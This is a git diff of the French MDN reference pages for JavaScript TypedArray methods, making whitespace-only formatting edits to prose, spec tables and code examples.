4a2b5aa7c7..e9d59dc71b 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/copywithin/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/copywithin/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/copyWithin --- {{JSRef}} -La méthode **`copyWithin()`** permet de copier des éléments d'un tableau dans le tableau typé à partir de la position `cible`. Les éléments copiés sont ceux contenus entre les index `début` et `fin`. L'argument `fin` est optionnel, sa valeur par défaut correspondra à la longueur du tableau dont on souhaite copier les éléments. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.copyWithin")}}_._ _TypedArray_ est l'un des types de [tableaux typés](/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray). +La méthode **`copyWithin()`** permet de copier des éléments d'un tableau dans le tableau typé à partir de la position `cible`. Les éléments copiés sont ceux contenus entre les index `début` et `fin`. L'argument `fin` est optionnel, sa valeur par défaut correspondra à la longueur du tableau dont on souhaite copier les éléments. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.copyWithin")}}_._ _TypedArray_ est l'un des types de [tableaux typés](/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray). {{EmbedInteractiveExample("pages/js/typedarray-copywithin.html")}} @@ -55,7 +55,7 @@ console.log(uint8); // Uint8Array [ 1, 2, 3, 1, 2, 3, 0, 0 ] | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.copywithin', 'TypedArray.prototype.copyWithin')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/entries/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/entries/index.md index 9e1217d1d1..ec544a6fcc 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/entries/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/entries/index.md @@ -74,7 +74,7 @@ console.log(eArr.next().value); // [4, 50] {{SpecName('ESDraft', '#sec-%typedarray%.prototype.entries', '%TypedArray%.prototype.entries()')}} </td> <td>{{Spec2('ESDraft')}}</td> - <td> </td> + <td></td> </tr> </tbody> </table> diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/every/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/every/index.md index 64f2525a90..099d11914b 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/every/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/every/index.md @@ -80,7 +80,7 @@ new Uint8Array([12, 54, 18, 130, 44]).every(elem => elem >= 10); // true | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.every', 'TypedArray.prototype.every')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/fill/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/fill/index.md index b9b1d668b2..f62624744c 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/fill/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/fill/index.md @@ -69,7 +69,7 @@ if (!Uint8Array.prototype.fill) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.fill', 'TypedArray.prototype.fill')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/filter/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/filter/index.md index ba1ac88002..2c7e7cca30 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/filter/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/filter/index.md @@ -43,7 +43,7 @@ La méthode `filter()` appelle une fonction `callback` appelée une fois pour ch 2. l'indice de l'élément 3. le tableau typé courant -Si le paramètre `thisArg` est fourni, il sera utilisé comme objet `this` lors de l'appel de la fonction `callback`. Sinon, la valeur `undefined` sera utilisée à la place. Par ailleurs, la valeur de `this` accessible depuis la fonction `callback` est déterminée selon [les règles usuelles déterminant la valeur this au sein d'une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). +Si le paramètre `thisArg` est fourni, il sera utilisé comme objet `this` lors de l'appel de la fonction `callback`. Sinon, la valeur `undefined` sera utilisée à la place. Par ailleurs, la valeur de `this` accessible depuis la fonction `callback` est déterminée selon [les règles usuelles déterminant la valeur this au sein d'une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). `filter()` ne modifie pas le tableau typé sur lequel elle a été appelée. @@ -77,7 +77,7 @@ new Uint8Array([12, 5, 8, 130, 44]).filter(élém => élém >= 10); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.filter', 'TypedArray.prototype.filter')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/find/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/find/index.md index d76794588c..6c91af3a50 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/find/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/find/index.md @@ -82,7 +82,7 @@ console.log(uint8.find(estPremier)); // 5 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.find', '%TypedArray%.prototype.find')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/findindex/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/findindex/index.md index 5a47252cf2..22b903d990 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/findindex/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/findindex/index.md @@ -83,7 +83,7 @@ console.log(uint16.findIndex(estPremier)); // 2 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.findindex', '%TypedArray%.prototype.findIndex')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/foreach/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/foreach/index.md index 5e8e660ebc..3783b29df9 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/foreach/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/foreach/index.md @@ -79,7 +79,7 @@ new Uint8Array([0, 1, 2, 3]).forEach(affichageContenuTableau); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.foreach', '%TypedArray%.prototype.forEach')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/includes/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/includes/index.md index 492c0b9676..14cf6cc5fa 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/includes/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/includes/index.md @@ -52,7 +52,7 @@ new Float64Array([NaN]).includes(NaN); // true; | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES7', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}} | {{Spec2('ES7')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.includes', 'TypedArray.prototype.includes')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/index.md index a3beb0bec7..af2efbdd16 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/index.md @@ -10,7 +10,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/TypedArray --- {{JSRef}} -Un objet **_TypedArray_** décrit une vue organisée à la façon d'un tableau pour manipuler [un tampon (_buffer_) de données binaires](/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer). `TypedArray` n'est pas une propriété globale, il n'existe pas non plus de constructeur `TypedArray`. En revanche, plusieurs propriétés globales existent et leurs valeurs permettent de construire des tableaux typés (_typed arrays_) avec différents types de données. Ceux-ci sont listés ci-après. Les pages suivantes permettent de décrire les propriétés et méthodes qui peuvent être utilisées sur les différents tableaux typés. +Un objet **_TypedArray_** décrit une vue organisée à la façon d'un tableau pour manipuler [un tampon (_buffer_) de données binaires](/fr/docs/Web/JavaScript/Reference/Objets_globaux/ArrayBuffer). `TypedArray` n'est pas une propriété globale, il n'existe pas non plus de constructeur `TypedArray`. En revanche, plusieurs propriétés globales existent et leurs valeurs permettent de construire des tableaux typés (_typed arrays_) avec différents types de données. Ceux-ci sont listés ci-après. Les pages suivantes permettent de décrire les propriétés et méthodes qui peuvent être utilisées sur les différents tableaux typés. {{EmbedInteractiveExample("pages/js/typedarray-constructor.html")}} @@ -48,7 +48,7 @@ Un objet **_TypedArray_** décrit une vue organisée à la façon d'un tableau p ## Description -ECMAScript 2015 (ES6) définit un constructeur `%TypedArray%` qui est un `[[Prototype]]` de tous les constructeurs _TypedArray_. Ce constructeur n'est pas accessible directement. Il n'existe pas de `%TypedArray%` global ou de propriété `TypedArray`. Il est uniquement accessible via `Object.getPrototypeOf(Int8Array.prototype)` ou avec les méthodes semblables. L'ensemble des différents constructeurs *TypedArray*s hérite de propriétés communes de la fonction `%TypedArray%`. De plus, tous les prototypes des tableaux typés (_TypedArray_`.prototype`) ont `%TypedArray%.prototype` pour `[[Prototype]]`. +ECMAScript 2015 (ES6) définit un constructeur `%TypedArray%` qui est un `[[Prototype]]` de tous les constructeurs _TypedArray_. Ce constructeur n'est pas accessible directement. Il n'existe pas de `%TypedArray%` global ou de propriété `TypedArray`. Il est uniquement accessible via `Object.getPrototypeOf(Int8Array.prototype)` ou avec les méthodes semblables. L'ensemble des différents constructeurs *TypedArray*s hérite de propriétés communes de la fonction `%TypedArray%`. De plus, tous les prototypes des tableaux typés (_TypedArray_`.prototype`) ont `%TypedArray%.prototype` pour `[[Prototype]]`. Le constructeur `%TypedArray%` en tant que tel n'est pas très utile. Toute tentative d'appel ou d'utilisation avec une expression `new` renverra `TypeError`, sauf quand il est utilisé par le moteur JavaScript lors de la création de l'objet quand le moteur supporte les sous-classes. À l'heure actuelle, il n'existe pas de tels moteurs, pour cette raison `%TypedArray%` est uniquement utile dans les fonctions d'émulation (_polyfill_) our pour les propriétés des différents constructeurs _TypedArray_. @@ -225,11 +225,11 @@ Toutes les instances de *TypedArray*s héritent de {{jsxref("TypedArray.prototyp La plupart des méthodes des tableaux typés peuvent être en partie émulées grâce aux méthodes rattachées à {{jsxref("Array")}} : ```js -var typedArrayTypes = [Int8Array, Uint8Array, Uint8ClampedArray, Int16Array, Uint16Array, Int32Array, Uint32Array, Float32Array, Float64Array]; +var typedArrayTypes = [Int8Array, Uint8Array, Uint8ClampedArray, Int16Array, Uint16Array, Int32Array, Uint32Array, Float32Array, Float64Array]; for (var k in typedArrayTypes){ for (var v in Array.prototype){ if (Array.prototype.hasOwnProperty(v) && - !typedArrayTypes[k].prototype.hasOwnProperty(v)){ + !typedArrayTypes[k].prototype.hasOwnProperty(v)){ typedArrayTypes[k].prototype[v] = Array.prototype[v]; } } diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/indexof/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/indexof/index.md index d849bb21b8..85eb530cc8 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/indexof/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/indexof/index.md @@ -53,7 +53,7 @@ uint8.indexOf(2, -3); // 0 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.indexof', 'TypedArray.prototype.indexOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/join/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/join/index.md index afa7c3fb66..f53fd1e68d 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/join/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/join/index.md @@ -60,7 +60,7 @@ Mieux vaut ne pas ajouter de prothèses pour `TypedArray.prototype` si le moteur | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.join', 'TypedArray.prototype.join')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/keys/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/keys/index.md index 70f303d5b3..2ff920b1aa 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/keys/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/keys/index.md @@ -59,7 +59,7 @@ console.log(eArr.next().value); // 4 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.keys', '%TypedArray%.prototype.keys()')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/lastindexof/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/lastindexof/index.md index e23c8468b6..1715e8fd3d 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/lastindexof/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/lastindexof/index.md @@ -14,7 +14,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/TypedArray/lastIndexOf --- {{JSRef}} -La méthode **`lastIndexOf()`** renvoie le dernier indice (le plus grand) pour lequel un élément donné est trouvé. Si l'élément cherché n'est pas trouvé, la valeur de retour sera -1. Le tableau typé est parcouru dans l'ordre des indices décroissants (de la fin vers le début) à partir de `indexDépart`. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.lastIndexOf()")}}. Dans le reste de l'article, *TypedArray* correspond à l'un des [types de tableaux typés](/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray). +La méthode **`lastIndexOf()`** renvoie le dernier indice (le plus grand) pour lequel un élément donné est trouvé. Si l'élément cherché n'est pas trouvé, la valeur de retour sera -1. Le tableau typé est parcouru dans l'ordre des indices décroissants (de la fin vers le début) à partir de `indexDépart`. Cette méthode utilise le même algorithme que {{jsxref("Array.prototype.lastIndexOf()")}}. Dans le reste de l'article, *TypedArray* correspond à l'un des [types de tableaux typés](/fr/docs/Web/JavaScript/Reference/Objets_globaux/TypedArray#Les_objets_TypedArray). {{EmbedInteractiveExample("pages/js/typedarray-lastindexof.html")}} @@ -54,7 +54,7 @@ uint8.lastIndexOf(2, -1); // 3 | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.lastindexof', 'TypedArray.prototype.lastIndexOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/length/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/length/index.md index 0497fdae14..dfe52caaaa 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/length/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/length/index.md @@ -44,7 +44,7 @@ uint8.length; // 6 (correspond à la longueur en prenant en compte le décalage | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-get-%typedarray%.prototype.length', 'TypedArray.prototype.length')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/map/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/map/index.md index 3445e8b589..f2d80fb57c 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/map/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/map/index.md @@ -36,7 +36,7 @@ La méthode **`map()`** crée un nouveau tableau typé dont les éléments sont - : Le tableau typé sur lequel `map()` a été appelée. - `thisArg` - - : Paramètre optionnel. La valeur à utiliser pour `this` lors de l'appel à `callback`. + - : Paramètre optionnel. La valeur à utiliser pour `this` lors de l'appel à `callback`. ### Valeur de retour @@ -48,7 +48,7 @@ La méthode `map()` appelle la fonction `callback()` passée en argument une foi `callback()` est appelée avec trois arguments : la valeur de l'élément, l'indice de cet élément et enfin le tableau typé courant. -Si un paramètre `thisArg` est fourni pour `map()`, il sera passé à `callback` pour les différents appels et servira de valeur `this`. Par défaut, la valeur {{jsxref("undefined")}} sera passée à la fonction pour la valeur `this`. Par ailleurs, la valeur de `this` accessible depuis la fonction `callback` est déterminée selon [les règles usuelles déterminant la valeur `this` au sein d'une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). +Si un paramètre `thisArg` est fourni pour `map()`, il sera passé à `callback` pour les différents appels et servira de valeur `this`. Par défaut, la valeur {{jsxref("undefined")}} sera passée à la fonction pour la valeur `this`. Par ailleurs, la valeur de `this` accessible depuis la fonction `callback` est déterminée selon [les règles usuelles déterminant la valeur `this` au sein d'une fonction](/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_this). `map()` ne modifie pas le tableau typé sur lequel elle a été appelée (indirectement, c'est la fonction `callback` qui pourra éventuellement modifier le tableau). diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/name/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/name/index.md index 6c3fcf8f42..9e928d0fcb 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/name/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/name/index.md @@ -43,7 +43,7 @@ Float64Array.name; // "Float64Array" | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-properties-of-the-typedarray-constructors', 'TypedArray.name')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/reduce/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/reduce/index.md index 820f23c6c0..397491b75a 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/reduce/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/reduce/index.md @@ -65,7 +65,7 @@ var total = new Uint8Array([0, 1, 2, 3]).reduce(function(a, b) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduce', '%TypedArray%.prototype.reduce')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/reduceright/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/reduceright/index.md index 3925756143..c433730bd8 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/reduceright/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/reduceright/index.md @@ -49,7 +49,7 @@ L'appel à `reduceRight` utilisant la fonction `callback` ressemble à : ```js typedarray.reduceRight(function(valeurPrécédente, valeurCourante, index, typedarray) { - // ... + // ... }); ``` @@ -71,7 +71,7 @@ var total = new Uint8Array([0, 1, 2, 3]).reduceRight(function(a, b) { | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES6', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}} | {{Spec2('ES6')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.reduceRight', '%TypedArray%.prototype.reduceRight')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/reverse/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/reverse/index.md index 7fe0172573..1db37cde37 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/reverse/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/reverse/index.md @@ -40,7 +40,7 @@ console.log(uint8); // Uint8Array [3, 2, 1] | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/set/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/set/index.md index 91c4412769..dccda957f6 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/set/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/set/index.md @@ -56,7 +56,7 @@ console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ] | ------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------------------------------------------- | | {{SpecName('Typed Array')}} | {{Spec2('Typed Array')}} | Englobée avec ECMAScript 6. | | {{SpecName('ES6', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}} | {{Spec2('ES6')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/slice/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/slice/index.md index 6c12dce8c1..6b771b9e42 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/slice/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/slice/index.md @@ -74,7 +74,7 @@ S'il faut également prendre en charge les moteurs JavaScript qui ne prennent pa | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/some/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/some/index.md index 2ac4e5d3f4..25bad9e414 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/some/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/some/index.md @@ -82,9 +82,9 @@ Il n'existe pas d'objet global intitulé _TypedArray_, la prothèse doit donc un ```js // https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.slice if (!Uint8Array.prototype.some) { - Object.defineProperty(Uint8Array.prototype, 'some', { - value: Array.prototype.some - }); + Object.defineProperty(Uint8Array.prototype, 'some', { + value: Array.prototype.some + }); } ``` @@ -95,7 +95,7 @@ S'il faut également prendre en charge les moteurs JavaScript qui ne prennent pa | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/typedarray/sort/index.md b/files/fr/web/javascript/reference/global_objects/typedarray/sort/index.md index 816d1cb388..12c8671593 100644 --- a/files/fr/web/javascript/reference/global_objects/typedarray/sort/index.md +++ b/files/fr/web/javascript/reference/global_objects/typedarray/sort/index.md @@ -60,7 +60,7 @@ nombres.sort(comparaisonNombres); | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | 